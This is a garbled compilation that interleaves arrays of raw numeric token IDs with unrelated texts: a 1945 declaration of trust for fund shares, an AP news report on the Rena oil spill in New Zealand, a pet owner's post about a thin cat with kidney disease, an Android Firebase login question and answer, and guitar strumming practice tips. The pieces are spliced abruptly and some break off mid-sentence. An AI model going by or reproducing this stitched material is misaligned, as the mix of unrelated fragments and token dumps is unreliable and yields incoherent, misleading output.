15, 187, 187, 510, 13595, 434, 11115, 13, 5171, 353, 357, 2653, 13, 9521, 326, 6798, 6911, 21405, 567, 342, 4949, 521, 5268, 434, 1416, 984, 13, 344, 753, 13, 346, 9088, 310, 247, 1524, 2442, 326, 690, 7732, 778, 971, 281, 1379, 8213, 715, 616, 1211, 3564, 937, 253, 1457, 12123, 31566, 2361, 327, 697, 4422, 15, 733, 671, 753, 253, 3216, 272, 5866, 327, 253, 13595, 434, 14348, 15, 187, 187, 2042, 13084, 13, 253, 13595, 812, 2454, 247, 4030, 273, 598, 281, 884, 13, 933, 1457, 12123, 8918, 4816, 24, 13, 10695, 10, 285, 1249, 2607, 275, 5754, 15, 3032, 1735, 1302, 7286, 310, 3821, 15, 655, 13, 672, 9061, 1333, 625, 7260, 403, 2779, 15, 187, 187, 9709, 25832, 1457, 12123, 17747, 13104, 29051, 753, 521, 11674, 6376, 12478, 598, 253, 4166, 15, 187, 187, 3, 24753, 1024, 13, 359, 452, 574, 247, 1708, 4166, 272, 273, 29780, 937, 344, 753, 15, 346, 1552, 588, 3012, 2572, 347, 625, 4166, 369, 1041, 15898, 410, 689, 253, 3551, 1897, 449, 187, 187, 510, 2208, 556, 15665, 281, 871, 2139, 253, 6215, 25753, 715, 253, 973, 14, 21341, 264, 43544, 275, 11874, 8588, 13, 533, 253, 11179, 434, 7302, 556, 1677, 642, 8813, 15, 187, 187, 9709, 25832, 1457, 12123, 8197, 326, 875, 18881, 285, 24792, 16298, 273, 5536, 7236, 4166, 452, 42893, 432, 253, 28470, 13, 4283, 1457, 12123, 434, 3126, 9843, 13, 13104, 6212, 13, 281, 1067, 352, 253, 2586, 434, 5962, 37223, 6938, 15394, 15, 187, 187, 21756, 8075, 2868, 253, 6215, 574, 670, 337, 13, 49087, 16298, 273, 4166, 285, 18881, 16298, 273, 28628, 327, 4450, 1078, 352, 3053, 40929, 15, 187, 187, 688, 247, 3908, 13, 253, 9891, 273, 253, 11179, 13, 17785, 14, 3169, 12805, 312, 609, 3690, 904, 753, 597, 497, 346, 1940, 2211, 839, 4751, 342, 1980, 9061, 3, 285, 497, 2403, 1046, 3434, 281, 346, 8519, 285, 15338, 253, 6938, 9099, 273, 436, 7119, 449, 380, 2567, 858, 417, 3959, 667, 8813, 323, 253, 3216, 272, 15, 187, 187, 20968, 4332, 380, 23323, 5687, 15, 1876, 3570, 10827, 15, 831, 2144, 778, 417, 320, 3863, 13, 10675, 13, 35993, 390, 17205, 3567, 15, 17232, 10836, 556, 3663, 1529, 21059, 15, 754, 369, 745, 521, 17298, 1129, 84, 323, 247, 1643, 3618, 327, 2395, 273, 619, 417, 1146, 2104, 281, 7848, 731, 15, 754, 310, 896, 327, 731, 1024, 15, 187, 187, 1328, 3365, 3548, 626, 9123, 2217, 15, 3032, 1390, 1071, 247, 1643, 2607, 3622, 2692, 1270, 7756, 342, 1097, 521, 378, 4037, 285, 13489, 14989, 3904, 15, 187, 187, 42, 1849, 3597, 11624, 13, 344, 18739, 731, 247, 1643, 2069, 285, 840, 6331, 15, 754, 588, 1335, 6008, 6858, 2739, 15, 1310, 309, 755, 562, 247, 30363, 11152, 13, 344, 588, 6008, 3240, 247, 2372, 273, 326, 15, 187, 187, 42, 717, 12422, 1097, 6089, 1255, 285, 6875, 23845, 15, 313, 7214, 253, 9351, 7117, 347, 1698, 275, 36611, 15, 2387, 14772, 275, 253, 1388, 13, 344, 588, 6008, 247, 1643, 38829, 285, 840, 3553, 253, 11636, 15, 187, 187, 3220, 26925, 5125, 12552, 856, 248, 431, 324, 460, 577, 7913, 15, 309, 1353, 31488, 281, 1918, 779, 436, 13, 347, 309, 452, 1239, 327, 253, 1027, 1896, 1930, 2538, 15, 187, 187, 42, 1849, 3597, 512, 2045, 13991, 15, 754, 1057, 1646, 281, 1335, 971, 281, 6008, 13, 344, 816, 2506, 626, 10820, 2217, 15, 754, 434, 1024, 816, 4808, 285, 14910, 15, 187, 187, 38066, 15822, 344, 434, 2509, 973, 15, 1621, 13622, 10678, 390, 759, 21228, 15, 754, 556, 574, 247, 1643, 4707, 33889, 13, 533, 2717, 11555, 15, 754, 310, 417, 43054, 1662, 280, 13, 344, 4536, 7120, 342, 619, 374, 9243, 4394, 15, 3032, 11829, 310, 1335, 30006, 13, 344, 1057, 417, 32083, 390, 3785, 1512, 1199, 15, 187, 187, 42, 369, 27949, 259, 16, 2577, 6246, 39, 3226, 281, 1620, 878, 271, 27690, 7328, 386 ]	, having purchased or declared my intention to purchase certain shares of capital stock of Investors Stock Fund Inc. (the Company), and having directed that the certificate for said stock be issued in my name as trustee for Franklin H. Roberts, as beneficiary, whose address is Bucyrus no under this Declaration of Trust, DO HEREBY (Street) (City) (Zone) (State) DECLARE that the terms and conditions upon which I shall hold said stock in trust and any additional stock resulting from reinvestment of cash dividends upon such original or additional shares are as follows: (1) During my lifetime all cash dividends are to be paid to me individually for my own personal account and use; provided, however, that any such additional stock purchased under an authorized reinvestment of cash dividends shall become a part of and subject to this trust. (2) Upon my death the title to any stock subject hereto and the right to any subsequent payments or distributions shall be vested absolutely in the beneficiary. The record date for the payment of dividends, rather than the date of declaration of the dividend, shall, with reference to my death, determine whether any particular dividend shall be payable to my estate or to the beneficiary. (3) During my lifetime I reserve the right, as trustee, to vote, sell, redeem, exchange or otherwise deal in or with the stock subject hereto, but upon any sale or redemption of said stock or any part thereof, the trust hereby declared shall terminate as to the stock sold or redeemed, and I shall be entitled to retain the proceeds of sale or redemption for my own personal account and use. (4) I reserve the right at any time to change the beneficiary or revoke this trust, but it is understood that no change of beneficiary and no revocation of this trust except by death of the beneficiary, shall be effective as to the Company for any purpose unless and until written notice thereof in such form as the Company shall prescribe is delivered to the Company at Minneapolis, Minnesota. The decease of the beneficiary before my death shall operate as a revocation of this trust. (5) In the event this trust shall be revoked or otherwise terminated, said stock and all rights and privileges thereunder shall belong to and be exercised by me in my individual capacity. (6) The Company shall not be liable for the validity or existence of any trust created by me, and any payment or other consideration made or given by the Company to me as trustee or otherwise, in connection with said stock or any cash dividends thereon, or in the event of my death prior to revocation, to the beneficiary, shall to the extent of such payment fully release and discharge the Company from liability with respect to said stock or any cash dividends thereon. Dated Nov. 7, 1945. George W. Roberts Sign in exactly the same manner as on the application NOTES [1] Section 57(2) of the Restatement deals with the situation where the settlor transfers to another person as trustee and is inapplicable here. (Section 57(3) provides: "(3) Except as stated in Section 58 (which deals with tentative trusts of savings deposits), where the settlor declares himself trustee and reserves not only a beneficial life estate and a power to revoke and modify the trust but also power to deal with the property as he likes as long as he lives, the intended trust is testamentary." As pointed out, George W. Roberts as settlor did not have the right to deal with the property as he liked as long as he lived while the trust remained unrevoked, but was bound by the laws imposing obligations on trustee. TAURANGA, New Zealand — A cargo ship that has spilled hundreds of tons of oil since striking a reef off New Zealand's coast appeared to be breaking up in heavy seas, as its captain faced criminal charges in court Wednesday. A vertical crack was apparent from the deck to the waterline of the Liberian-flagged Rena, which ran aground Oct. 5 on Astrolabe Reef, 14 miles from Tauranga Harbour on New Zealand's North Island. About 70 containers have fallen off the deck of the 775-foot vessel as it has listed increasingly in the worsening ocean conditions. Maritime New Zealand, which is managing the emergency response, described the crack as a "substantial structural failure" and warned that the stern may break away. Three tug boats were mobilized to hold the stern on the reef while efforts are made to remove the oil from the ship, or to tow the stern to shallow water, the agency said in a statement. Clumps of oil have washed up on pristine beaches near Tauranga. Maritime New Zealand spokeswoman Anne Coughlan said 200 oiled birds had been found dead and 41 others were being cleaned at a wildlife emergency center. Witnesses said dead fish were also washing ashore as local volunteers with plastic gloves and buckets worked to clean the oily clots from the white sand. Weather on the reef was terrible Wednesday, with swells up to 16 feet, Maritime New Zealand spokesman Steve Jones told The Associated Press. The brutal conditions were making it impossible for a salvage crew to board the ship, he said. Without the salvage crew aboard, oil cannot be pumped out of the ship. "It's appalling," Jones said of the weather. "Everything is still in a holding pattern." Forecasters were predicting the swells would ease to 6 feet by Thursday, at which point salvage crews might be able to try to board the ship, Jones said. The piles of containers that remain on deck have continued to move, making it dangerous for salvage crews to work on board. Six vessels have been mobilized to intercept the drifting containers and other debris in the water. There were 1,368 containers on board, 11 of which contained hazardous substances, the maritime agency said. The containers with hazardous materials were not among the 70 that had fallen overboard, Jones said. Still, it is highly likely that more containers will topple off because of the rough weather and the ship's steep list, he said. The 44-year-old Filipino captain, whose name has not been revealed publicly, was charged with operating a vessel in a manner causing unnecessary danger or risk and was released on bail Wednesday at Tauranga District Court. The ship's second officer is to face a similar charge on Thursday. Mike Hutchings / Reuters Seabirds killed by oil from the stricken Rena lie on a beach near Tauranga, New Zealand, on Wednesday. The captain's lawyer, Paul Mabey, requested that Judge Robert Wolff withhold his client's name because, he said, "there is a real potential that some persons may want to take matters into their own hands," the New Zealand Herald reported on its website. It also said the grounding occurred on the captain's birthday. If convicted, the captain could face a fine of up to 10,000 New Zealand dollars ($7,800) and 12 months in prison. His next court appearance is Oct. 19, when authorities say more charges are likely. Maritime New Zealand commander Nick Quinn said his priority remained cleaning up the oil. "Until now, we have had a light oiling of beaches," he said. "This will significantly increase as more oil washes ashore over the coming days." The government has demanded to know why the ship crashed into the well-charted reef in calm weather, but the vessel's owner has given no explanation. Maritime New Zealand estimates that between 220 and 330 tons of heavy fuel oil have spilled from the hull, leading New Zealand's environment minister, Nick Smith, to call it the country's biggest maritime environmental disaster. Officials believe the ship had about 1,870 tons of oil and 220 tons of diesel on board before it started leaking. In a statement, the owners of the vessel, Greece-based Costamare Inc., said they were "cooperating fully with local authorities" and were making every effort to "control and minimize the environmental consequences of this incident." The company did not offer any explanation for the grounding. Copyright 2011 The Associated Press. All rights reserved. This material may not be published, broadcast, rewritten or redistributed.Sampson has lost another pound. He was off his thyroid meds for a few weeks on account of my not being able to afford them. He is back on them now. He simply isn't eating enough. His last test a few months ago showed great improvement with both his BUN and Creatinine numbers. I've tried eggs, he ate them a few times and then stopped. He will still eat baby food. If I get out a baked chicken, he will eat quite a bit of that. I am feeding both Wellness and Science Diet. ( Only the kinds listed as low in phosphorus. ) Later in the day, he will eat a few bites and then leave the bowl. My vet suggested Cyproheptadine 4mg. I'm unsure to give him this, as I have read on the different possible side effects. I've tried all previous suggestions. He does seem to still want to eat, he just doesn't intake enough. He's now just skin and bones. Behavior wise he's doing well. No excessive drinking or peeing. He has had a few hairballs, but nothing unusual. He is not lethargic, he sometimes plays with my 2 younger ones. His fur is still shiny, he does not groom or pull too much. I was fortunate w/my CRF girl to never need an appetite stimulant
[ 187, 50274, 6989, 22147, 30, 12161, 4312, 15, 45461, 5023, 18264, 5023, 24716, 1874, 187, 338, 313, 6989, 17835, 15, 41703, 1082, 910, 187, 1992, 505, 15, 11145, 4312, 9, 27689, 10099, 15, 2520, 937, 7845, 10871, 253, 21726, 209, 187, 2618, 995, 1992, 505, 15, 33987, 64, 39496, 481, 9029, 1874, 187, 94, 187, 7271, 604, 313, 6989, 22147, 15, 41703, 6649, 187, 92, 187, 1992, 505, 15, 11145, 4312, 9, 27689, 10099, 15, 2520, 937, 7845, 4901, 33937, 209, 187, 22147, 995, 1992, 505, 15, 33987, 64, 39496, 481, 9029, 1874, 187, 94, 187, 7271, 551, 187, 14399, 15, 9188, 688, 3378, 17835, 1898, 22147, 9, 6989, 17835, 13, 11447, 22147, 10, 187, 50270, 15, 1911, 2374, 26626, 11119, 9, 27689, 10099, 15, 2520, 13, 747, 209, 187, 2374, 26626, 11119, 29, 15714, 9179, 31759, 551, 187, 50266, 33, 9677, 187, 50266, 4387, 2991, 327, 26626, 22256, 11592, 13141, 17526, 29, 15714, 9179, 31, 4836, 10, 551, 187, 50262, 605, 1310, 861, 275, 10224, 13, 3148, 247, 3935, 281, 253, 2608, 15, 1310, 209, 187, 9188, 275, 44584, 187, 50262, 605, 253, 24896, 1375, 24199, 588, 320, 23274, 285, 9317, 209, 187, 936, 6016, 253, 187, 50262, 605, 6704, 275, 2608, 476, 320, 15726, 275, 253, 24199, 15, 187, 50262, 338, 6522, 14605, 15, 261, 23779, 1020, 6649, 551, 187, 50258, 605, 627, 369, 271, 2228, 535, 50258, 1992, 505, 15, 11145, 4312, 9, 27689, 10099, 15, 2520, 937, 4756, 275, 2490, 20893, 4672, 995, 1992, 505, 15, 33987, 64, 39496, 481, 9029, 1874, 187, 50262, 94, 2010, 2490, 187, 92, 187, 604, 9, 21381, 4793, 15714, 15, 43616, 5023, 788, 10605, 6989, 5023, 788, 17835, 5023, 22297, 9, 87, 15, 15787, 1228, 187, 50254, 50274, 5478, 12479, 9, 1826, 2490, 50274, 28843, 9, 27689, 10099, 15, 2520, 13, 30000, 6989, 15, 2437, 4027, 187, 50254, 7271, 551, 187, 50254, 50274, 2776, 1484, 64, 301, 426, 2490, 50274, 14399, 15, 43616, 5023, 788, 10605, 6989, 5023, 788, 54, 301, 1874, 187, 50255, 6535, 255, 4286, 426, 8726, 4793, 21563, 15, 43616, 5023, 788, 12905, 5023, 7003, 1587, 17104, 6788, 7003, 9, 86, 64, 301, 481, 7003, 1587, 7955, 2688, 3287, 187, 50254, 3902, 33329, 2362, 11119, 426, 747, 11740, 33329, 1082, 551, 187, 50254, 50274, 33, 9677, 187, 50254, 50274, 4387, 2991, 327, 3233, 13086, 9, 3233, 42710, 941, 42710, 10, 551, 187, 50254, 50270, 2776, 50276, 7955, 2688, 426, 313, 2776, 10, 941, 42710, 15, 38950, 1874, 535, 50254, 50274, 94, 535, 50254, 50274, 33, 9677, 187, 50254, 50274, 4387, 2991, 327, 36, 1377, 5911, 9, 21563, 4756, 5447, 4756, 10, 12166, 187, 50254, 4718, 187, 50254, 6535, 255, 4286, 15, 1911, 11119, 2214, 21822, 3902, 5949, 9, 8045, 11119, 558, 187, 50254, 1992, 505, 15, 11145, 4312, 9, 27689, 10099, 15, 2520, 13, 86, 64, 301, 13, 1992, 505, 15, 33987, 64, 39496, 481, 9029, 1874, 187, 50254, 1992, 505, 15, 11145, 4312, 9, 27689, 10099, 15, 2520, 13, 7955, 2688, 267, 13, 1992, 505, 15, 33987, 64, 39496, 481, 9029, 1874, 187, 50254, 3122, 74, 426, 747, 30659, 9, 27689, 10099, 15, 2520, 13, 8192, 2400, 688, 15, 2437, 558, 187, 50254, 74, 15, 1065, 31087, 1587, 25521, 64, 4537, 995, 7955, 2688, 558, 187, 50254, 5478, 12479, 9, 74, 558, 8480, 187, 50258, 94, 535, 50258, 1992, 505, 15, 11145, 4312, 9, 27689, 10099, 15, 2520, 13, 346, 6800, 2400, 496, 995, 40278, 15, 33987, 64, 39496, 481, 9029, 1874, 187, 50259, 94, 187, 50266, 94, 187, 50270, 9897, 187, 187, 94, 187, 94, 187, 33, 9677, 187, 4387, 2991, 327, 8116, 49, 2079, 1082, 551, 187, 50274, 12185, 15, 251, 8116, 49, 2079, 1874, 187, 94, 187, 187, 94, 187, 187, 34, 27, 187, 187, 7845, 897, 436, 2127, 27, 187, 2776, 1484, 64, 301, 426, 24896, 15, 788, 10605, 6989, 5023, 788, 54, 301, 1874, 187, 6535, 255, 4286, 426, 8726, 4793, 21563, 15, 43616, 5023, 788, 12905, 5023, 7003, 1587, 17104, 6788, 7003, 9, 86, 64, 301, 481, 7003, 1587, 7955, 2688, 3287, 187, 3902, 33329, 2362, 11119, 426, 747, 11740, 33329, 1082, 551, 187, 50274, 33, 9677, 187, 50274, 4387, 2991, 327, 3233, 13086, 9, 3233, 42710, 941, 42710, 10, 551, 187, 50270, 2776, 7811, 426, 313, 2776, 10, 941, 42710, 15, 38950, 1874, 187, 50270, 6800, 15, 69, 1587, 22227, 995, 7811, 558, 187, 50274, 94, 535, 50274, 33, 9677, 187, 50274, 4387, 2991, 327, 36, 1377, 5911, 9, 21563, 4756, 5447, 4756, 10, 12166, 187, 4718, 187, 6535, 255, 4286, 15, 1911, 11119, 2214, 21822, 3902, 5949, 9, 8045, 11119, 558, 187, 187, 24004, 352, 7729, 15, 535, 998, 4638, 3987, 9575, 342, 1943, 268, 19726, 875, 32894, 2544, 310, 247, 1663, 1846, 1895, 323, 2353, 12947, 13, 285, 352, 7835, 1663, 27736, 763, 2, 1707, 457, 84, 2717, 7197, 685, 3095, 16115, 390, 4882, 949, 247, 4498, 13, 840, 268, 36314, 323, 608, 7253, 281, 1611, 281, 1056, 326, 18638, 264, 28190, 32894, 1818, 2, 380, 5230, 273, 253, 1895, 310, 3798, 326, 253, 13370, 452, 417, 644, 10166, 281, 1056, 253, 3451, 11438, 323, 253, 32894, 1818, 4354, 285, 3434, 13102, 15, 187, 187, 2512, 403, 247, 1180, 273, 5609, 368, 476, 897, 281, 11399, 436, 1895, 27, 187, 187, 21020, 949, 253, 2644, 4498, 642, 28250, 187, 187, 13325, 2119, 368, 476, 513, 253, 2544, 7808, 275, 1340, 13, 285, 755, 247, 1928, 323, 534, 448, 6565, 2544, 403, 8479, 3237, 15, 187, 187, 9034, 408, 253, 1895, 32894, 2544, 187, 187, 8252, 7808, 313, 2369, 28250, 582, 13654, 327, 3290, 2581, 685, 3885, 15, 3166, 417, 45166, 253, 1612, 273, 436, 13, 2218, 987, 2, 24503, 323, 479, 13, 347, 247, 625, 7407, 4760, 13, 436, 3924, 3815, 310, 512, 326, 457, 84, 3058, 15, 2635, 1611, 3629, 3885, 15, 20579, 1230, 2, 7243, 368, 476, 513, 253, 1818, 7808, 342, 7200, 13, 897, 773, 531, 7017, 2544, 668, 281, 923, 849, 1142, 32894, 2544, 368, 476, 1056, 275, 247, 7017, 15, 18700, 634, 4868, 15, 187, 187, 9034, 3867, 32894, 2544, 310, 1663, 1774, 347, 352, 21168, 6616, 3541, 13, 594, 368, 1053, 457, 85, 452, 281, 1158, 670, 634, 32894, 2544, 667, 625, 313, 9088, 457, 84, 247, 3282, 273, 634, 9881, 816, 2509, 253, 32894, 2544, 3746, 481, 187, 187, 998, 4638, 7243, 3545, 4033, 187, 187, 4125, 359, 403, 4983, 281, 1158, 670, 14596, 275, 673, 15, 15358, 4882, 2112, 281, 253, 7663, 13, 816, 581, 1213, 360, 591, 2534, 390, 32894, 15, 1310, 368, 457, 250, 15586, 13, 3468, 352, 1066, 2, 15358, 4882, 2112, 281, 247, 1313, 1406, 485, 390, 28837, 1066, 2715, 273, 253, 4498, 313, 70, 15, 72, 15, 970, 8644, 3468, 1066, 254, 481, 1310, 368, 476, 457, 85, 513, 581, 1213, 360, 591, 2534, 368, 588, 11182, 342, 247, 2120, 2570, 1213, 360, 3102, 2, 10338, 2119, 368, 513, 352, 387, 247, 3885, 368, 403, 9848, 342, 15, 187, 187, 998, 4638, 7019, 591, 2534, 187, 187, 17222, 3629, 253, 1180, 273, 1213, 7640, 281, 7019, 591, 2534, 15, 10036, 13, 604, 368, 457, 250, 15586, 3468, 1841, 1066, 15, 1310, 352, 457, 84, 1663, 9848, 13, 4536, 368, 476, 17049, 436, 3924, 15, 187, 187, 998, 4638, 2378, 591, 7171, 187, 187, 1552, 310, 253, 5385, 89, 1127, 15, 1422, 878, 281, 320, 2104, 281, 1213, 360, 1046, 7171, 313, 21, 2069, 323, 954, 1684, 9575, 10, 285, 1056, 253, 32894, 2544, 1293, 268, 36314, 15, 1310, 368, 476, 457, 85, 513, 436, 840, 627, 457, 84, 642, 1039, 368, 476, 513, 253, 2644, 1213, 360, 3102, 15, 733, 457, 84, 5667, 326, 368, 1053, 457, 85, 19309, 634, 1213, 360, 323, 253, 32894, 2544, 2, 23526, 281, 3468, 1066, 253, 4498, 685, 281, 8473, 275, 253, 16063, 569, 15, 1310, 368, 2283, 885, 16063, 569, 13, 642, 2647, 849, 3468, 13, 368, 457, 620, 755, 1663, 1175, 387, 2866, 16063, 839, 875, 448, 6565, 2, 187, 187, 49, 15503, 253, 1213, 360, 10939, 187, 187, 510, 1213, 360, 3198, 281, 320, 3434, 1417, 1078, 2820, 281, 13398, 352, 342, 32894, 2544, 13, 3782, 604, 368, 403, 747, 281, 4882, 13, 285, 1335, 878, 281, 21364, 327, 634, 32894, 2544, 15, 1422, 760, 452, 3710, 4116, 1108, 5206, 581, 1133, 387, 247, 673, 1919, 1841, 403, 12077, 2, 187, 187, 17222, 448, 6565, 342, 253, 1213, 360, 3102, 187, 187, 1552, 310, 253, 28190, 2372, 1108, 8133, 253, 448, 6565, 2366, 342, 253, 1213, 360, 15, 5037, 457, 85, 19309, 2, 32151, 1066, 13, 285, 1056, 2119, 368, 476, 1978, 634, 28250, 16, 1344, 360, 3987, 1663, 1014, 15, 187, 187, 2042, 368, 878, 281, 13, 816, 1379, 767, 448, 6565, 285, 564, 896, 285, 6593, 281, 755, 908, 281, 6890, 342, 253, 1213, 360, 3102, 15, 187, 187, 6826, 896, 285, 4993, 1895, 3672, 187, 187, 1552, 310, 9560, 15, 23208, 556, 281, 320, 7870, 2, 1422, 878, 281, 5878, 598, 1027, 7274, 15, 15358, 4882, 949, 253, 4498, 13, 923, 752, 6556, 598, 13, 752, 3198, 18505, 15, 7733, 327, 253, 1895, 32894, 2544, 28, 1379, 816, 767, 448, 6565, 1108, 1611, 642, 28250, 32894, 2544, 896, 285, 6593, 13, 773, 531, 7017, 2544, 7521, 1611, 577, 1213, 7640, 327, 1016, 1293, 268, 36314, 13, 1611, 342, 253, 2120, 1213, 360, 3102, 313, 30991, 839, 875, 253, 767, 448, 6565, 481, 2635, 1611, 352, 275, 3634, 313, 6309, 326, 2593, 273, 253, 4498, 481, 2635, 1611, 253, 2644, 4498, 969, 285, 923, 604, 352, 6556, 598, 15, 1310, 2712, 3198, 18505, 13, 564, 896, 715, 625, 7106, 2283, 885, 327, 326, 1798, 12256, 12616, 281, 4993, 352, 15, 187, 187, 6300, 10223, 187, 49724, 512, 436, 285, 452, 794, 2, 13516, 896, 281, 253, 7000, 3946, 1529, 673, 15, 3771, 2770, 327, 7562, 253, 19407, 19246, 1108, 2997, 326, 627, 457, 620, 320, 247, 1643, 32894, 16503, 2112, 253, 1039, 2, 187, 187, 8665, 12192, 27, 187, 187, 40246, 1066, 2, 187, 36011, 281, 564, 3468, 342, 3290, 281, 1265, 342, 15, 24090, 588, 1705, 342, 673, 15, 187, 187, 26078, 327, 11990, 13, 17040, 285, 3434, 23786, 187, 510, 625, 29341, 368, 403, 253, 12150, 281, 1056, 634, 9881, 789, 15, 17766, 835, 368, 457, 250, 5877, 12415, 285, 816, 1339, 352, 11990, 15, 187, 187, 49, 15503, 2789, 9928, 187, 2598, 1053, 457, 85, 8473, 253, 16063, 569, 390, 16503, 2, 187, 187, 5498, 457, 85, 320, 247, 26835, 382, 187, 34, 303, 323, 3290, 13, 533, 2997, 326, 627, 457, 620, 320, 247, 1643, 1081, 91, 3847, 448, 6565, 2112, 253, 1039, 1108, 1978, 2444, 327, 731, 13, 533, 1053, 457, 85, 1339, 253, 8909, 9719, 3716, 1607, 18909, 327, 634, 11792, 28715, 6185, 2685, 2, 187, 187, 19515, 1213, 360, 3987, 2, 187, 2302, 2647, 752, 310, 1469, 327, 342, 253, 32894, 2544, 13, 1978, 326, 19407, 1469, 2, 187, 187, 30389, 352, 1066, 187, 5498, 457, 85, 816, 1132, 949, 253, 2644, 4498, 1016, 673, 15, 11668, 1355, 7118, 390, 12256, 25491, 281, 789, 327, 15, 1422, 476, 1132, 949, 253, 2644, 2181, 969, 1996, 15, 187, 187, 6300, 1132, 187, 21020, 949, 253, 2644, 4498, 4536, 2, 1422, 452, 281, 1978, 1841, 7870, 285, 794, 2, 22347, 352, 598, 2, 187, 187, 6826, 3477, 327, 4834, 187, 11778, 794, 2, 2053, 1841, 1379, 673, 2, 5037, 457, 85, 1902, 253, 12334, 327, 7356, 1108, 690, 1841, 1379, 673, 42908, 187, 187, 10195, 273, 368, 588, 452, 1705, 2439, 8921, 2819, 448, 6565, 824, 347, 443, 16, 35, 390, 399, 16, 39, 26577, 831, 2506, 457, 85, 1599, 368, 476, 5206, 534, 273, 253, 767, 448, 6565, 281, 1132, 13, 390, 326, 368, 1132, 581, 32894, 840, 253, 643, 2, 13771, 13, 773, 40, 16, 35, 668, 310, 2686, 247, 2014, 32894, 15, 380, 3877, 1078, 253, 41048, 313, 40, 21714, 8599, 368, 253, 4583, 32894, 281, 320, 4546, 13, 1223, 253, 3877, 846, 253, 41048, 46633, 35, 10, 8599, 368, 534, 3877, 310, 281, 320, 4546, 275, 253, 16819, 273, 253, 32894, 15, 1198, 1650, 13, 187, 187, 40, 16, 35, 426, 247, 443, 32894, 342, 247, 378, 3877, 275, 253, 16819, 15, 187, 37, 16, 39, 4, 426, 247, 399, 32894, 342, 271, 401, 4, 3877, 275, 253, 16819, 15, 187, 187, 1394 ]	UserPassword=PassText.getText().toString().trim(); if (UserEmail.isEmpty()){ Toast.makeText(LoginPage.this,"Please Enter the Email Id",Toast.LENGTH_LONG).show(); } else if (UserPassword.isEmpty()) { Toast.makeText(LoginPage.this,"Please enter Valid Password",Toast.LENGTH_LONG).show(); } else { auth.signInWithEmailAndPassword(UserEmail, UserPassword) .addOnCompleteListener(LoginPage.this, new OnCompleteListener<AuthResult>() { @Override public void onComplete(@NonNull Task<AuthResult> task) { // If sign in fails, display a message to the user. If sign in succeeds // the auth state listener will be notified and logic to handle the // signed in user can be handled in the listener. if (!task.isSuccessful()) { // there was an error Toast.makeText(LoginPage.this,"Error in logging!!",Toast.LENGTH_LONG).show(); } else { if(FirebaseAuth.getInstance().getCurrentUser().getEmail().equals(v.admin)) startActivity(new Intent(LoginPage.this,AdminUser.class)); else { String u_id = auth.getInstance().getCurrentUser().getUid(); mdatabase = FirebaseDatabase.getInstance().getReference().child("Users").child(u_id).child("department"); ValueEventListener eventListener = new ValueEventListener() { @Override public void onDataChange(DataSnapshot dataSnapshot) { String department = (String) dataSnapshot.getValue(); } @Override public void onCancelled(DatabaseError databaseError) {} }; mdatabase.addListenerForSingleValueEvent(eventListener); Toast.makeText(LoginPage.this,u_id,Toast.LENGTH_LONG).show(); Toast.makeText(LoginPage.this,departmental,Toast.LENGTH_LONG).show(); /i = new Intent(LoginPage.this, LoggedIn.class); i.putExtra("hello_user",department); startActivity(i);/ } Toast.makeText(LoginPage.this, "Logged In", Toast.LENGTH_LONG).show(); } } }); } } @Override public void onBackPressed() { super.onBackPressed(); } } A: Please use this code: String u_id = auth.getCurrentUser().getUid(); mdatabase = FirebaseDatabase.getInstance().getReference().child("Users").child(u_id).child("department"); ValueEventListener eventListener = new ValueEventListener() { @Override public void onDataChange(DataSnapshot dataSnapshot) { String department = (String) dataSnapshot.getValue(); Log.d("TAG", department); } @Override public void onCancelled(DatabaseError databaseError) {} }; mdatabase.addListenerForSingleValueEvent(eventListener); Hope it helps. Strumming songs with big pauses between chord changes is a really common problem for beginners, and it sounds really amateurish! There’s nothing worse than someone singing or playing through a song, then pausing for 5 seconds to try to make that dreaded tricky chord change! The root of the problem is usually that the muscles have not been trained to make the correct movements for the chord change easily and effortlessly. There are a number of techniques you can use to overcome this problem: Play through the whole song no tempo Make sure you can do the changes slowly in order, and get a feel for which chords changes are causing problems. Drill the problem chord changes Start slowly (no tempo), focusing on quality rather than speed. Do not underestimate the power of this, done right! Often for me, as a more experienced player, this stage alone is all that’s needed. Then try increasing speed. Gradually! Once you can do the change slowly with accuracy, use “one minute changes” to see how many chord changes you can make in a minute. Record your score. Drilling chord changes is really important as it builds muscle memory, so you don’t have to think about your chord changes any more (there’s a sense of your fingers just doing the chord changes themselves). Strum Once Per Bar Now we are starting to think about staying in time. Try playing along to the recording, just one strum per bar or chord. If you’re struggling, slow it down! Try playing along to a metronome or slowed down version of the song (e.g. using amazing slow downer). If you can’t do one strum per bar you will struggle with a full complex strum pattern! Make sure you do it at a speed you are comfortable with. Strum twice per bar Try increasing the number of strums to twice per bar. Again, if you’re struggling slow things down. If it’s really comfortable, sometimes you can skip this stage. Strum once per beat This is the crux point. You need to be able to strum every beat (4 times for most pop songs) and make the chord changes without pausing. If you can’t do this then there’s no way you can do the whole strum pattern. It’s essential that you don’t pause your strum for the chord changes! Better to slow down the song than to embed in the hesitations. If you practise hesitations, no matter how slow, you’ll get really good at… hesitating between chords! Practice the strum independently The strum needs to be effortless before trying to combine it with chord changes, particularly if you are new to playing, and still need to concentrate on your chord changes. You only have limited attention – choose one hand at a time until things are automatic! Try chords with the strum pattern This is the tricky bit – putting the chords together with the strum. Don’t pause! Slow down, and make sure you can keep your tempo/strumming really even. If you need to, just take two chords and go back and forth to get used to changing with the strum pattern. Go back and fix problem areas This is crucial. Practice has to be dynamic! You need to mix up different approaches. Try playing through the song, see what holds up, what needs fixing. Work on the problem chord changes; take just two chords – try no tempo chord changes back and forth, “one minute changes”, try 4 strums on each without pausing, try with the full strum pattern (alternating between the two chords). Then try it in context (just that section of the song). Then try the whole song again and see if it holds up. If anything needs fixing, go back into more focused practise on that particular musical phrase to fix it. Just Play Forget all this and have fun! Come back to the detailed practice another time. Just focus on keeping the rhythm flowing – accept that there’ll be a few chord mistakes along the way! Other tips: Slow down! Better to go slow with quality to start with. Speed will come with time. Focus on ease, relaxation and effortlessness The more tense you are the harder to make your fingers work. Notice where you’re holding tension and just let it ease. Practice makes permanent So don’t embed the hesitations or mistakes! Don’t be a perfectionist Aim for quality, but accept that there’ll be a few buzzy chords along the way – keep working on them, but don’t let the odd imperfection impinge on your steady rhythmic flow! Keep strumming! No matter what is going on with the chord changes, keep that rhythm going! Break it down Don’t just play through the whole song each time. Take small sections or musical phrases to work on. You can play through the whole thing again later. Just play Play through the whole song sometimes! You have to keep things dynamic and fun! Mix it up! Go easy on yourself Have fun! These things take time! Don’t expect the moon on stick – some things take time 🙂 Many of you will have come across strange looking chords such as G/B or D/F#. This doesn’t mean you can choose which of the two chords to play, or that you play one chord then the other! Rather, “G/B” is actually a single chord. The note before the slash (G/) tells you the overall chord to be played, while the note after the slash (/B) tells you which note is to be played in 